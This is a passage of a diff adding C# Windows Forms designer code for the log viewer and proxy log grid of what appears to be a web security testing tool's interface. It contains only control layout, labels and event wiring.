this.ProxyHelpTab.Name = "ProxyHelpTab"; + this.ProxyHelpTab.Size = new System.Drawing.Size(697, 403); + this.ProxyHelpTab.TabIndex = 3; + this.ProxyHelpTab.Text = " Help "; + this.ProxyHelpTab.UseVisualStyleBackColor = true; + // + // ProxyHelpTB + // + this.ProxyHelpTB.BackColor = System.Drawing.Color.White; + this.ProxyHelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ProxyHelpTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.ProxyHelpTB.Location = new System.Drawing.Point(0, 0); + this.ProxyHelpTB.Multiline = true; + this.ProxyHelpTB.Name = "ProxyHelpTB"; + this.ProxyHelpTB.ReadOnly = true; + this.ProxyHelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.ProxyHelpTB.Size = new System.Drawing.Size(697, 403); + this.ProxyHelpTB.TabIndex = 1; + this.ProxyHelpTB.TabStop = false; + this.ProxyHelpTB.Text = resources.GetString("ProxyHelpTB.Text"); + // + // mt_logs + // + this.mt_logs.Controls.Add(this.LogBaseSplit); + this.mt_logs.Location = new System.Drawing.Point(4, 22); + this.mt_logs.Margin = new System.Windows.Forms.Padding(0); + this.mt_logs.Name = "mt_logs"; + this.mt_logs.Size = new System.Drawing.Size(705, 511); + this.mt_logs.TabIndex = 9; + this.mt_logs.Text = " Logs "; + this.mt_logs.UseVisualStyleBackColor = true; + // + // LogBaseSplit + // + this.LogBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogBaseSplit.Location = new System.Drawing.Point(0, 0); + this.LogBaseSplit.Name = "LogBaseSplit"; + this.LogBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // LogBaseSplit.Panel1 + // + this.LogBaseSplit.Panel1.Controls.Add(this.LogsTopSplit); + // + // LogBaseSplit.Panel2 + // + this.LogBaseSplit.Panel2.Controls.Add(this.LogsBottomSplit); + this.LogBaseSplit.Size = new System.Drawing.Size(705, 511); + this.LogBaseSplit.SplitterDistance = 255; + this.LogBaseSplit.TabIndex = 3; + // + // LogsTopSplit + // + this.LogsTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogsTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.LogsTopSplit.IsSplitterFixed = true; + this.LogsTopSplit.Location = new System.Drawing.Point(0, 0); + this.LogsTopSplit.Margin = new System.Windows.Forms.Padding(0); + this.LogsTopSplit.Name = "LogsTopSplit"; + this.LogsTopSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // LogsTopSplit.Panel1 + // + this.LogsTopSplit.Panel1.Controls.Add(this.ShowLogGridBtn); + this.LogsTopSplit.Panel1.Controls.Add(this.StartLogAnalyzerBtn); + this.LogsTopSplit.Panel1.Controls.Add(this.PreviousLogBtn); + this.LogsTopSplit.Panel1.Controls.Add(this.LogOptionsBtn); + this.LogsTopSplit.Panel1.Controls.Add(this.ProxyShowOriginalRequestCB); + this.LogsTopSplit.Panel1.Controls.Add(this.LogIDLbl); + this.LogsTopSplit.Panel1.Controls.Add(this.ProxyShowOriginalResponseCB); + this.LogsTopSplit.Panel1.Controls.Add(this.LogSourceLbl); + this.LogsTopSplit.Panel1.Controls.Add(this.NextLogBtn); + this.LogsTopSplit.Panel1.Controls.Add(this.LogStatusTB); + // + // LogsTopSplit.Panel2 + // + this.LogsTopSplit.Panel2.Controls.Add(this.LogDisplayTabs); + this.LogsTopSplit.Size = new System.Drawing.Size(705, 255); + this.LogsTopSplit.SplitterDistance = 57; + this.LogsTopSplit.SplitterWidth = 2; + this.LogsTopSplit.TabIndex = 17; + // + // ShowLogGridBtn + // + this.ShowLogGridBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ShowLogGridBtn.Location = new System.Drawing.Point(616, 5); + this.ShowLogGridBtn.Name = "ShowLogGridBtn"; + this.ShowLogGridBtn.Size = new System.Drawing.Size(88, 23); + this.ShowLogGridBtn.TabIndex = 12; + this.ShowLogGridBtn.Text = "Hide Log Grids"; + this.ShowLogGridBtn.UseVisualStyleBackColor = true; + this.ShowLogGridBtn.Click += new System.EventHandler(this.ShowLogGridBtn_Click); + // + // StartLogAnalyzerBtn + // + this.StartLogAnalyzerBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.StartLogAnalyzerBtn.Location = new System.Drawing.Point(467, 5); + this.StartLogAnalyzerBtn.Name = "StartLogAnalyzerBtn"; + this.StartLogAnalyzerBtn.Size = new System.Drawing.Size(144, 23); + this.StartLogAnalyzerBtn.TabIndex = 16; + this.StartLogAnalyzerBtn.Text = "Search and Analyze Logs"; + this.StartLogAnalyzerBtn.UseVisualStyleBackColor = true; + this.StartLogAnalyzerBtn.Click += new System.EventHandler(this.StartLogAnalyzerBtn_Click); + // + // PreviousLogBtn + // + this.PreviousLogBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.PreviousLogBtn.Location = new System.Drawing.Point(4, 4); + this.PreviousLogBtn.Name = "PreviousLogBtn"; + this.PreviousLogBtn.Size = new System.Drawing.Size(49, 23); + this.PreviousLogBtn.TabIndex = 3; + this.PreviousLogBtn.Text = "<"; + this.PreviousLogBtn.UseVisualStyleBackColor = true; + this.PreviousLogBtn.Click += new System.EventHandler(this.PreviousLogBtn_Click); + // + // LogOptionsBtn + // + this.LogOptionsBtn.ContextMenuStrip = this.LogMenu; + this.LogOptionsBtn.Location = new System.Drawing.Point(116, 6); + this.LogOptionsBtn.Name = "LogOptionsBtn"; + this.LogOptionsBtn.Size = new System.Drawing.Size(47, 19); + this.LogOptionsBtn.TabIndex = 15; + this.LogOptionsBtn.Text = "\\/"; + this.LogOptionsBtn.UseVisualStyleBackColor = true; + this.LogOptionsBtn.Click += new System.EventHandler(this.LogOptionsBtn_Click); + // + // ProxyShowOriginalRequestCB + // + this.ProxyShowOriginalRequestCB.AutoSize = true; + this.ProxyShowOriginalRequestCB.Location = new System.Drawing.Point(187, 5); + this.ProxyShowOriginalRequestCB.MaximumSize = new System.Drawing.Size(155, 17); + this.ProxyShowOriginalRequestCB.Name = "ProxyShowOriginalRequestCB"; + this.ProxyShowOriginalRequestCB.Size = new System.Drawing.Size(134, 17); + this.ProxyShowOriginalRequestCB.TabIndex = 10; + this.ProxyShowOriginalRequestCB.Text = "Show Original Request"; + this.ProxyShowOriginalRequestCB.UseVisualStyleBackColor = true; + this.ProxyShowOriginalRequestCB.Visible = false; + this.ProxyShowOriginalRequestCB.CheckedChanged += new System.EventHandler(this.ProxyShowOriginalRequestCB_CheckedChanged); + // + // LogIDLbl + // + this.LogIDLbl.AutoSize = true; + this.LogIDLbl.Location = new System.Drawing.Point(91, 30); + this.LogIDLbl.Name = "LogIDLbl"; + this.LogIDLbl.Size = new System.Drawing.Size(21, 13); + this.LogIDLbl.TabIndex = 14; + this.LogIDLbl.Text = "ID:"; + // + // ProxyShowOriginalResponseCB + // + this.ProxyShowOriginalResponseCB.AutoSize = true; + this.ProxyShowOriginalResponseCB.Location = new System.Drawing.Point(327, 5); + this.ProxyShowOriginalResponseCB.MaximumSize = new System.Drawing.Size(155, 17); + this.ProxyShowOriginalResponseCB.Name = "ProxyShowOriginalResponseCB"; + this.ProxyShowOriginalResponseCB.Size = new System.Drawing.Size(142, 17); + this.ProxyShowOriginalResponseCB.TabIndex = 11; + this.ProxyShowOriginalResponseCB.Text = "Show Original Response"; + this.ProxyShowOriginalResponseCB.UseVisualStyleBackColor = true; + this.ProxyShowOriginalResponseCB.Visible = false; + this.ProxyShowOriginalResponseCB.CheckedChanged += new System.EventHandler(this.ProxyShowOriginalResponseCB_CheckedChanged); + // + // LogSourceLbl + // + this.LogSourceLbl.AutoSize = true; + this.LogSourceLbl.Location = new System.Drawing.Point(6, 30); + this.LogSourceLbl.Name = "LogSourceLbl"; + this.LogSourceLbl.Size = new System.Drawing.Size(44, 13); + this.LogSourceLbl.TabIndex = 2; + this.LogSourceLbl.Text = "Source:"; + // + // NextLogBtn + // + this.NextLogBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.NextLogBtn.Location = new System.Drawing.Point(60, 4); + this.NextLogBtn.Name = "NextLogBtn"; + this.NextLogBtn.Size = new System.Drawing.Size(49, 23); + this.NextLogBtn.TabIndex = 4; + this.NextLogBtn.Text = ">"; + this.NextLogBtn.UseVisualStyleBackColor = true; + this.NextLogBtn.Click += new System.EventHandler(this.NextLogBtn_Click); + // + // LogStatusTB + // + this.LogStatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.LogStatusTB.BackColor = System.Drawing.SystemColors.Window; + this.LogStatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.LogStatusTB.ForeColor = System.Drawing.Color.Red; + this.LogStatusTB.Location = new System.Drawing.Point(138, 32); + this.LogStatusTB.Multiline = true; + this.LogStatusTB.Name = "LogStatusTB"; + this.LogStatusTB.ReadOnly = true; + this.LogStatusTB.Size = new System.Drawing.Size(513, 17); + this.LogStatusTB.TabIndex = 13; + this.LogStatusTB.Visible = false; + // + // LogDisplayTabs + // + this.LogDisplayTabs.Controls.Add(this.tabPage7); + this.LogDisplayTabs.Controls.Add(this.tabPage29); + this.LogDisplayTabs.Controls.Add(this.tabPage1); + this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); + this.LogDisplayTabs.Name = "LogDisplayTabs"; + this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.SelectedIndex = 0; + this.LogDisplayTabs.Size = new System.Drawing.Size(705, 196); + this.LogDisplayTabs.TabIndex = 2; + // + // tabPage7 + // + this.tabPage7.Controls.Add(this.LogRequestView); + this.tabPage7.Location = new System.Drawing.Point(4, 22); + this.tabPage7.Margin = new System.Windows.Forms.Padding(0); + this.tabPage7.Name = "tabPage7"; + this.tabPage7.Size = new System.Drawing.Size(697, 170); + this.tabPage7.TabIndex = 0; + this.tabPage7.Text = " Request "; + this.tabPage7.UseVisualStyleBackColor = true; + // + // LogRequestView + // + this.LogRequestView.BackColor = System.Drawing.Color.White; + this.LogRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogRequestView.Location = new System.Drawing.Point(0, 0); + this.LogRequestView.Margin = new System.Windows.Forms.Padding(0); + this.LogRequestView.Name = "LogRequestView"; + this.LogRequestView.ReadOnly = true; + this.LogRequestView.Size = new System.Drawing.Size(697, 170); + this.LogRequestView.TabIndex = 0; + // + // tabPage29 + // + this.tabPage29.Controls.Add(this.LogResponseView); + this.tabPage29.Location = new System.Drawing.Point(4, 22); + this.tabPage29.Margin = new System.Windows.Forms.Padding(0); + this.tabPage29.Name = "tabPage29"; + this.tabPage29.Size = new System.Drawing.Size(697, 170); + this.tabPage29.TabIndex = 1; + this.tabPage29.Text = " Response "; + this.tabPage29.UseVisualStyleBackColor = true; + // + // LogResponseView + // + this.LogResponseView.BackColor = System.Drawing.Color.White; + this.LogResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogResponseView.IncludeReflectionTab = true; + this.LogResponseView.Location = new System.Drawing.Point(0, 0); + this.LogResponseView.Margin = new System.Windows.Forms.Padding(0); + this.LogResponseView.Name = "LogResponseView"; + this.LogResponseView.ReadOnly = true; + this.LogResponseView.Size = new System.Drawing.Size(697, 170); + this.LogResponseView.TabIndex = 0; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.LogsHelpTB); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Size = new System.Drawing.Size(697, 170); + this.tabPage1.TabIndex = 2; + this.tabPage1.Text = " Help "; + this.tabPage1.UseVisualStyleBackColor = true; + // + // LogsHelpTB + // + this.LogsHelpTB.BackColor = System.Drawing.Color.White; + this.LogsHelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.LogsHelpTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogsHelpTB.Location = new System.Drawing.Point(0, 0); + this.LogsHelpTB.Multiline = true; + this.LogsHelpTB.Name = "LogsHelpTB"; + this.LogsHelpTB.ReadOnly = true; + this.LogsHelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.LogsHelpTB.Size = new System.Drawing.Size(697, 170); + this.LogsHelpTB.TabIndex = 1; + this.LogsHelpTB.TabStop = false; + this.LogsHelpTB.Text = resources.GetString("LogsHelpTB.Text"); + // + // LogsBottomSplit + // + this.LogsBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogsBottomSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.LogsBottomSplit.IsSplitterFixed = true; + this.LogsBottomSplit.Location = new System.Drawing.Point(0, 0); + this.LogsBottomSplit.Margin = new System.Windows.Forms.Padding(0); + this.LogsBottomSplit.Name = "LogsBottomSplit"; + this.LogsBottomSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // LogsBottomSplit.Panel1 + // + this.LogsBottomSplit.Panel1.Controls.Add(this.label28); + this.LogsBottomSplit.Panel1.Controls.Add(this.ViewProxyDisplayFilterLink); + this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogStatusLbl); + this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogFrontThreeBtn); + this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogStatLbl); + this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogBackTwoBtn); + this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogFrontFourBtn); + this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogFrontOneBtn); + this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogBackOneBtn); + this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogBackThreeBtn); + this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogFrontTwoBtn); + this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogBackFourBtn); + // + // LogsBottomSplit.Panel2 + // + this.LogsBottomSplit.Panel2.Controls.Add(this.LogTabs); + this.LogsBottomSplit.Size = new System.Drawing.Size(705, 252); + this.LogsBottomSplit.SplitterDistance = 70; + this.LogsBottomSplit.SplitterWidth = 2; + this.LogsBottomSplit.TabIndex = 17; + // + // label28 + // + this.label28.AutoSize = true; + this.label28.ForeColor = System.Drawing.Color.Gray; + this.label28.Location = new System.Drawing.Point(9, 52); + this.label28.Name = "label28"; + this.label28.Size = new System.Drawing.Size(436, 13); + this.label28.TabIndex = 20; + this.label28.Text = "Proxy Requests/Responses that don\'t match the display filter are hidden. To adjus" + + "t the filter"; + // + // ViewProxyDisplayFilterLink + // + this.ViewProxyDisplayFilterLink.AutoSize = true; + this.ViewProxyDisplayFilterLink.Location = new System.Drawing.Point(445, 52); + this.ViewProxyDisplayFilterLink.Name = "ViewProxyDisplayFilterLink"; + this.ViewProxyDisplayFilterLink.Size = new System.Drawing.Size(53, 13); + this.ViewProxyDisplayFilterLink.TabIndex = 19; + this.ViewProxyDisplayFilterLink.TabStop = true; + this.ViewProxyDisplayFilterLink.Text = "click here"; + this.ViewProxyDisplayFilterLink.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ViewProxyDisplayFilterLink_LinkClicked); + // + // MainLogStatusLbl + // + this.MainLogStatusLbl.AutoSize = true; + this.MainLogStatusLbl.Location = new System.Drawing.Point(9, 38); + this.MainLogStatusLbl.Name = "MainLogStatusLbl"; + this.MainLogStatusLbl.Size = new System.Drawing.Size(530, 13); + this.MainLogStatusLbl.TabIndex = 17; + this.MainLogStatusLbl.Text = "Right-click on any log below to get a menu that will let you perform scans and ot" + + "her actions on the selected log."; + // + // MainLogFrontThreeBtn + // + this.MainLogFrontThreeBtn.Location = new System.Drawing.Point(600, 7); + this.MainLogFrontThreeBtn.Name = "MainLogFrontThreeBtn"; + this.MainLogFrontThreeBtn.Size = new System.Drawing.Size(40, 20); + this.MainLogFrontThreeBtn.TabIndex = 14; + this.MainLogFrontThreeBtn.Text = ">>>"; + this.MainLogFrontThreeBtn.UseVisualStyleBackColor = true; + this.MainLogFrontThreeBtn.Click += new System.EventHandler(this.MainLogFrontThreeBtn_Click); + // + // MainLogStatLbl + // + this.MainLogStatLbl.AutoSize = true; + this.MainLogStatLbl.Location = new System.Drawing.Point(205, 10); + this.MainLogStatLbl.Name = "MainLogStatLbl"; + this.MainLogStatLbl.Size = new System.Drawing.Size(139, 13); + this.MainLogStatLbl.TabIndex = 16; + this.MainLogStatLbl.Text = "Showing 0 - 0 of Proxy Logs"; + // + // MainLogBackTwoBtn + // + this.MainLogBackTwoBtn.Location = new System.Drawing.Point(110, 7); + this.MainLogBackTwoBtn.Name = "MainLogBackTwoBtn"; + this.MainLogBackTwoBtn.Size = new System.Drawing.Size(40, 20); + this.MainLogBackTwoBtn.TabIndex = 10; + this.MainLogBackTwoBtn.Text = "<<"; + this.MainLogBackTwoBtn.UseVisualStyleBackColor = true; + this.MainLogBackTwoBtn.Click += new System.EventHandler(this.MainLogBackTwoBtn_Click); + // + // MainLogFrontFourBtn + // + this.MainLogFrontFourBtn.Location = new System.Drawing.Point(646, 7); + this.MainLogFrontFourBtn.Name = "MainLogFrontFourBtn"; + this.MainLogFrontFourBtn.Size = new System.Drawing.Size(55, 20); + this.MainLogFrontFourBtn.TabIndex = 15; + this.MainLogFrontFourBtn.Text = ">>>>"; + this.MainLogFrontFourBtn.UseVisualStyleBackColor = true; + this.MainLogFrontFourBtn.Click += new System.EventHandler(this.MainLogFrontFourBtn_Click); + // + // MainLogFrontOneBtn + // + this.MainLogFrontOneBtn.Location = new System.Drawing.Point(506, 7); + this.MainLogFrontOneBtn.Name = "MainLogFrontOneBtn"; + this.MainLogFrontOneBtn.Size = new System.Drawing.Size(40, 20); + this.MainLogFrontOneBtn.TabIndex = 12; + this.MainLogFrontOneBtn.Text = ">"; + this.MainLogFrontOneBtn.UseVisualStyleBackColor = true; + this.MainLogFrontOneBtn.Click += new System.EventHandler(this.MainLogFrontOneBtn_Click); + // + // MainLogBackOneBtn + // + this.MainLogBackOneBtn.Location = new System.Drawing.Point(156, 7); + this.MainLogBackOneBtn.Name = "MainLogBackOneBtn"; + this.MainLogBackOneBtn.Size = new System.Drawing.Size(40, 20); + this.MainLogBackOneBtn.TabIndex = 11; + this.MainLogBackOneBtn.Text = "<"; + this.MainLogBackOneBtn.UseVisualStyleBackColor = true; + this.MainLogBackOneBtn.Click += new System.EventHandler(this.MainLogBackOneBtn_Click); + // + // MainLogBackThreeBtn + // + this.MainLogBackThreeBtn.Location = new System.Drawing.Point(65, 7); + this.MainLogBackThreeBtn.Name = "MainLogBackThreeBtn"; + this.MainLogBackThreeBtn.Size = new System.Drawing.Size(40, 20); + this.MainLogBackThreeBtn.TabIndex = 9; + this.MainLogBackThreeBtn.Text = "<<<"; + this.MainLogBackThreeBtn.UseVisualStyleBackColor = true; + this.MainLogBackThreeBtn.Click += new System.EventHandler(this.MainLogBackThreeBtn_Click); + // + // MainLogFrontTwoBtn + // + this.MainLogFrontTwoBtn.Location = new System.Drawing.Point(553, 7); + this.MainLogFrontTwoBtn.Name = "MainLogFrontTwoBtn"; + this.MainLogFrontTwoBtn.Size = new System.Drawing.Size(40, 20); + this.MainLogFrontTwoBtn.TabIndex = 13; + this.MainLogFrontTwoBtn.Text = ">>"; + this.MainLogFrontTwoBtn.UseVisualStyleBackColor = true; + this.MainLogFrontTwoBtn.Click += new System.EventHandler(this.MainLogFrontTwoBtn_Click); + // + // MainLogBackFourBtn + // + this.MainLogBackFourBtn.Location = new System.Drawing.Point(5, 7); + this.MainLogBackFourBtn.Name = "MainLogBackFourBtn"; + this.MainLogBackFourBtn.Size = new System.Drawing.Size(55, 20); + this.MainLogBackFourBtn.TabIndex = 1; + this.MainLogBackFourBtn.Text = "<<<<"; + this.MainLogBackFourBtn.UseVisualStyleBackColor = true; + this.MainLogBackFourBtn.Click += new System.EventHandler(this.MainLogBackFourBtn_Click); + // + // LogTabs + // + this.LogTabs.Controls.Add(this.ProxyLogTab); + this.LogTabs.Controls.Add(this.ScanLogTab); + this.LogTabs.Controls.Add(this.TestLogTab); + this.LogTabs.Controls.Add(this.ShellLogTab); + this.LogTabs.Controls.Add(this.ProbeLogTab); + this.LogTabs.Controls.Add(this.OtherLogTab); + this.LogTabs.Controls.Add(this.SiteMapLogTab); + this.LogTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogTabs.Location = new System.Drawing.Point(0, 0); + this.LogTabs.Margin = new System.Windows.Forms.Padding(0); + this.LogTabs.Name = "LogTabs"; + this.LogTabs.Padding = new System.Drawing.Point(0, 0); + this.LogTabs.SelectedIndex = 0; + this.LogTabs.Size = new System.Drawing.Size(705, 180); + this.LogTabs.TabIndex = 0; + this.LogTabs.SelectedIndexChanged += new System.EventHandler(this.LogTabs_SelectedIndexChanged); + // + // ProxyLogTab + // + this.ProxyLogTab.Controls.Add(this.ProxyLogGrid); + this.ProxyLogTab.Location = new System.Drawing.Point(4, 22); + this.ProxyLogTab.Margin = new System.Windows.Forms.Padding(0); + this.ProxyLogTab.Name = "ProxyLogTab"; + this.ProxyLogTab.Size = new System.Drawing.Size(697, 154); + this.ProxyLogTab.TabIndex = 3; + this.ProxyLogTab.Text = " Proxy Logs "; + this.ProxyLogTab.UseVisualStyleBackColor = true; + // + // ProxyLogGrid + // + this.ProxyLogGrid.AllowUserToAddRows = false; + this.ProxyLogGrid.AllowUserToDeleteRows = false; + this.ProxyLogGrid.AllowUserToOrderColumns = true; + this.ProxyLogGrid.AllowUserToResizeRows = false; + this.ProxyLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ProxyLogGrid.BackgroundColor = System.Drawing.Color.White; + this.ProxyLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle39.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle39.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle39.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle39.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle39.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle39.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle39.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ProxyLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle39; + this.ProxyLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ProxyLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ProxyLogGridColumnForID, + this.ProxyLogGridColumnForHostName, + this.ProxyLogGridColumnForMethod, + this.ProxyLogGridColumnForURL, + this.ProxyLogGridColumnForFile, + this.ProxyLogGridColumnForSSL, + this.ProxyLogGridColumnForParameters, + this.ProxyLogGridColumnForCode, + this.ProxyLogGridColumnForLength, + this.ProxyLogGridColumnForMIME, + this.ProxyLogGridColumnForSetCookie, + this.ProxyLogGridColumnForEdited, + this.ProxyLogGridColumnForNotes}); + this.ProxyLogGrid.ContextMenuStrip = this.LogMenu; + this.ProxyLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ProxyLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ProxyLogGrid.GridColor = System.Drawing.Color.White; + this.ProxyLogGrid.Location = new System.Drawing.Point(0, 0); + this.ProxyLogGrid.Margin = new System.Windows.Forms.Padding(0); + this.ProxyLogGrid.MultiSelect = false; + this.ProxyLogGrid.Name = "ProxyLogGrid"; + this.ProxyLogGrid.ReadOnly = true; + this.ProxyLogGrid.RowHeadersVisible = false; + this.ProxyLogGrid.RowHeadersWidth = 10; + this.ProxyLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ProxyLogGrid.Size = new System.Drawing.Size(697, 154); + this.ProxyLogGrid.TabIndex = 2; + this.ProxyLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.LogGrid_CellClick); + this.ProxyLogGrid.SelectionChanged += new System.EventHandler(this.ProxyLogGrid_SelectionChanged); + // + // ProxyLogGridColumnForID + // + this.ProxyLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForID.HeaderText = "ID"; + this.ProxyLogGridColumnForID.MinimumWidth = 50; + this.ProxyLogGridColumnForID.Name = "ProxyLogGridColumnForID"; + this.ProxyLogGridColumnForID.ReadOnly = true; + this.ProxyLogGridColumnForID.Width = 50; + // + // ProxyLogGridColumnForHostName + // + this.ProxyLogGridColumnForHostName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForHostName.HeaderText = "HOSTNAME"; + this.ProxyLogGridColumnForHostName.Name = "ProxyLogGridColumnForHostName"; + this.ProxyLogGridColumnForHostName.ReadOnly = true; + this.ProxyLogGridColumnForHostName.Width = 120; + // + // ProxyLogGridColumnForMethod + // + this.ProxyLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForMethod.HeaderText = "METHOD"; + this.ProxyLogGridColumnForMethod.Name = "ProxyLogGridColumnForMethod"; + this.ProxyLogGridColumnForMethod.ReadOnly = true; + this.ProxyLogGridColumnForMethod.Width = 60; + // + // ProxyLogGridColumnForURL + // + this.ProxyLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ProxyLogGridColumnForURL.HeaderText = "URL"; + this.ProxyLogGridColumnForURL.MinimumWidth = 150; + this.ProxyLogGridColumnForURL.Name = "ProxyLogGridColumnForURL"; + this.ProxyLogGridColumnForURL.ReadOnly = true; + // + // ProxyLogGridColumnForFile + // + this.ProxyLogGridColumnForFile.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForFile.HeaderText = "FILE"; + this.ProxyLogGridColumnForFile.Name = "ProxyLogGridColumnForFile"; + this.ProxyLogGridColumnForFile.ReadOnly = true; + this.ProxyLogGridColumnForFile.Width = 40; + // + // ProxyLogGridColumnForSSL + // + this.ProxyLogGridColumnForSSL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForSSL.HeaderText = "SSL"; + this.ProxyLogGridColumnForSSL.Name = "ProxyLogGridColumnForSSL"; + this.ProxyLogGridColumnForSSL.ReadOnly = true; + this.ProxyLogGridColumnForSSL.Width = 30; + // + // ProxyLogGridColumnForParameters + // + this.ProxyLogGridColumnForParameters.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForParameters.HeaderText = "PARAMETERS"; + this.ProxyLogGridColumnForParameters.Name = "ProxyLogGridColumnForParameters"; + this.ProxyLogGridColumnForParameters.ReadOnly = true; + this.ProxyLogGridColumnForParameters.Width = 85; + // + // ProxyLogGridColumnForCode + // + this.ProxyLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForCode.HeaderText = "CODE"; + this.ProxyLogGridColumnForCode.Name = "ProxyLogGridColumnForCode"; + this.ProxyLogGridColumnForCode.ReadOnly = true; + this.ProxyLogGridColumnForCode.Width = 45; + // + // ProxyLogGridColumnForLength + // + this.ProxyLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForLength.HeaderText = "LENGTH"; + this.ProxyLogGridColumnForLength.Name = "ProxyLogGridColumnForLength"; + this.ProxyLogGridColumnForLength.ReadOnly = true; + this.ProxyLogGridColumnForLength.Width = 55; + // + // ProxyLogGridColumnForMIME + // + this.ProxyLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForMIME.HeaderText = "MIME"; + this.ProxyLogGridColumnForMIME.Name = "ProxyLogGridColumnForMIME"; + this.ProxyLogGridColumnForMIME.ReadOnly = true; + this.ProxyLogGridColumnForMIME.Width = 60; + // + // ProxyLogGridColumnForSetCookie + // + this.ProxyLogGridColumnForSetCookie.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; + this.ProxyLogGridColumnForSetCookie.Name = "ProxyLogGridColumnForSetCookie"; + this.ProxyLogGridColumnForSetCookie.ReadOnly = true; + this.ProxyLogGridColumnForSetCookie.Width = 80; + // + // ProxyLogGridColumnForEdited + // + this.ProxyLogGridColumnForEdited.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForEdited.HeaderText = "EDITIED"; + this.ProxyLogGridColumnForEdited.Name = "ProxyLogGridColumnForEdited"; + this.ProxyLogGridColumnForEdited.ReadOnly = true; + this.ProxyLogGridColumnForEdited.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ProxyLogGridColumnForEdited.SortMode = 